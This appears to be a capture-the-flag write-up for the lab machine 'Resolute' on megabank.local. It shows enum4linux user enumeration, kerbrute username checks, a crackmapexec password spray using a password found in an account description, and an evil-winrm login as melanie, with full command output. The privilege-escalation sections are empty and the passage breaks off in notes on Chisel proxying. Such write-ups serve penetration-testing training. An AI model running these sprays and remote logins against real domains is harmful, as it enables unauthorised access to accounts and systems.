Host entries:
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10.10.10.169 megabank.local resolute.megabank.local
If Active Directory => NTP Synchronization with the domain controller.
Content
Reconnaissance
Initial reconnaissance for TCP ports
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Services and Versions running:
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We enumerate the machine with enum4linux to get interesting information:
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enum4linux -a resolute.megabank.local
<SNIP>
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[ryan] rid:[0x451]
user:[marko] rid:[0x457]
user:[sunita] rid:[0x19c9]
user:[abigail] rid:[0x19ca]
user:[marcus] rid:[0x19cb]
user:[sally] rid:[0x19cc]
user:[fred] rid:[0x19cd]
user:[angela] rid:[0x19ce]
user:[felicia] rid:[0x19cf]
user:[gustavo] rid:[0x19d0]
user:[ulf] rid:[0x19d1]
user:[stevie] rid:[0x19d2]
user:[claire] rid:[0x19d3]
user:[paulo] rid:[0x19d4]
user:[steve] rid:[0x19d5]
user:[annette] rid:[0x19d6]
user:[annika] rid:[0x19d7]
user:[per] rid:[0x19d8]
user:[claude] rid:[0x19d9]
user:[melanie] rid:[0x2775]
user:[zach] rid:[0x2776]
user:[simon] rid:[0x2777]
user:[naoki] rid:[0x2778]
<SNIP>
Saving this output and keeping only the users:
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cat users | cut -d " " -f1 | cut -d "[" -f2 | cut -d "]" -f1 | sponge users
Administrator
Guest
krbtgt
DefaultAccount
ryan
marko
sunita
abigail
marcus
sally
fred
angela
felicia
gustavo
ulf
stevie
claire
paulo
steve
annette
annika
per
claude
melanie
zach
simon
naoki
Another interesting information is to be found on user marko description
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==================================( Users on resolute.megabank.local )==================================
index: 0x10b0 RID: 0x19ca acb: 0x00000010 Account: abigail Name: (null) Desc: (null)
index: 0xfbc RID: 0x1f4 acb: 0x00000210 Account: Administrator Name: (null) Desc: Built-in account for administering the computer/domain
index: 0x10b4 RID: 0x19ce acb: 0x00000010 Account: angela Name: (null) Desc: (null)
index: 0x10bc RID: 0x19d6 acb: 0x00000010 Account: annette Name: (null) Desc: (null)
index: 0x10bd RID: 0x19d7 acb: 0x00000010 Account: annika Name: (null) Desc: (null)
index: 0x10b9 RID: 0x19d3 acb: 0x00000010 Account: claire Name: (null) Desc: (null)
index: 0x10bf RID: 0x19d9 acb: 0x00000010 Account: claude Name: (null) Desc: (null)
index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount Name: (null) Desc: A user account managed by the system.
index: 0x10b5 RID: 0x19cf acb: 0x00000010 Account: felicia Name: (null) Desc: (null)
index: 0x10b3 RID: 0x19cd acb: 0x00000010 Account: fred Name: (null) Desc: (null)
index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0x10b6 RID: 0x19d0 acb: 0x00000010 Account: gustavo Name: (null) Desc: (null)
index: 0xff4 RID: 0x1f6 acb: 0x00000011 Account: krbtgt Name: (null) Desc: Key Distribution Center Service Account
index: 0x10b1 RID: 0x19cb acb: 0x00000010 Account: marcus Name: (null) Desc: (null)
index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak Desc: Account created. Password set to Welcome123!
index: 0x10c0 RID: 0x2775 acb: 0x00000010 Account: melanie Name: (null) Desc: (null)
index: 0x10c3 RID: 0x2778 acb: 0x00000010 Account: naoki Name: (null) Desc: (null)
index: 0x10ba RID: 0x19d4 acb: 0x00000010 Account: paulo Name: (null) Desc: (null)
index: 0x10be RID: 0x19d8 acb: 0x00000010 Account: per Name: (null) Desc: (null)
index: 0x10a3 RID: 0x451 acb: 0x00000210 Account: ryan Name: Ryan Bertrand Desc: (null)
index: 0x10b2 RID: 0x19cc acb: 0x00000010 Account: sally Name: (null) Desc: (null)
index: 0x10c2 RID: 0x2777 acb: 0x00000010 Account: simon Name: (null) Desc: (null)
index: 0x10bb RID: 0x19d5 acb: 0x00000010 Account: steve Name: (null) Desc: (null)
index: 0x10b8 RID: 0x19d2 acb: 0x00000010 Account: stevie Name: (null) Desc: (null)
index: 0x10af RID: 0x19c9 acb: 0x00000010 Account: sunita Name: (null) Desc: (null)
index: 0x10b7 RID: 0x19d1 acb: 0x00000010 Account: ulf Name: (null) Desc: (null)
index: 0x10c1 RID: 0x2776 acb: 0x00000010 Account: zach Name: (null) Desc: (null)
And then we proceed to execute an ASRepRoast attack with kerbrute and the list of users:
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__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (9cfb81e) - 06/02/23 - Ronnie Flathers @ropnop
2023/06/02 10:06:07 > Using KDC(s):
2023/06/02 10:06:07 > 10.10.10.169:88
2023/06/02 10:06:07 > [+] VALID USERNAME: Administrator@megabank.local
2023/06/02 10:06:07 > [+] VALID USERNAME: marko@megabank.local
2023/06/02 10:06:07 > [+] VALID USERNAME: ryan@megabank.local
2023/06/02 10:06:07 > [+] VALID USERNAME: sunita@megabank.local
2023/06/02 10:06:07 > [+] VALID USERNAME: sally@megabank.local
2023/06/02 10:06:07 > [+] VALID USERNAME: marcus@megabank.local
2023/06/02 10:06:07 > [+] VALID USERNAME: abigail@megabank.local
2023/06/02 10:06:07 > [+] VALID USERNAME: fred@megabank.local
2023/06/02 10:06:07 > [+] VALID USERNAME: angela@megabank.local
2023/06/02 10:06:07 > [+] VALID USERNAME: felicia@megabank.local
2023/06/02 10:06:07 > [+] VALID USERNAME: ulf@megabank.local
2023/06/02 10:06:07 > [+] VALID USERNAME: gustavo@megabank.local
2023/06/02 10:06:07 > [+] VALID USERNAME: stevie@megabank.local
2023/06/02 10:06:07 > [+] VALID USERNAME: claire@megabank.local
2023/06/02 10:06:07 > [+] VALID USERNAME: paulo@megabank.local
2023/06/02 10:06:07 > [+] VALID USERNAME: steve@megabank.local
2023/06/02 10:06:07 > [+] VALID USERNAME: annette@megabank.local
2023/06/02 10:06:07 > [+] VALID USERNAME: annika@megabank.local
2023/06/02 10:06:07 > [+] VALID USERNAME: claude@megabank.local
2023/06/02 10:06:07 > [+] VALID USERNAME: per@megabank.local
2023/06/02 10:06:07 > [+] VALID USERNAME: melanie@megabank.local
2023/06/02 10:06:07 > [+] VALID USERNAME: simon@megabank.local
2023/06/02 10:06:07 > [+] VALID USERNAME: zach@megabank.local
2023/06/02 10:06:08 > [+] VALID USERNAME: naoki@megabank.local
Exploitation
After an unsuccesful login with this credentials marko:Welcome123!:
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evil-winrm -i 10.10.10.169 -u marko -p 'Welcome123!'
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
Error: Exiting with code 1
We then proceed to execute a Password Spraying attack with the rest of the users:
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crackmapexec smb 10.10.10.169 -u users -p 'Welcome123!'
SMB 10.10.10.169 445 RESOLUTE [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\Administrator:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\Guest:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\krbtgt:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\DefaultAccount:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\ryan:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\marko:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\sunita:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\abigail:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\marcus:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\sally:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\fred:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\angela:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\felicia:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\gustavo:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\ulf:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\stevie:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\claire:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\paulo:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\steve:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\annette:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\annika:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\per:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\claude:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [+] megabank.local\melanie:Welcome123!
It seems that melanie user hasn’t changed the default password, so let’s try to access the machine:
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evil-winrm -i 10.10.10.169 -u melanie -p 'Welcome123!'
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\melanie\Documents>
Root privesc
Post Exploitation
Credentials
Notes
- Chisel have different configurations, this time we use a Forward SOCKS Proxy, which is a bind shell, that is not neccessarily the easiest way to forward the remote port, but is a new way to consider in case that a reverse shell is not possible.
- Always look for exploits, analyze them and check if something can be useful to exploit the machine.
- Chisel has some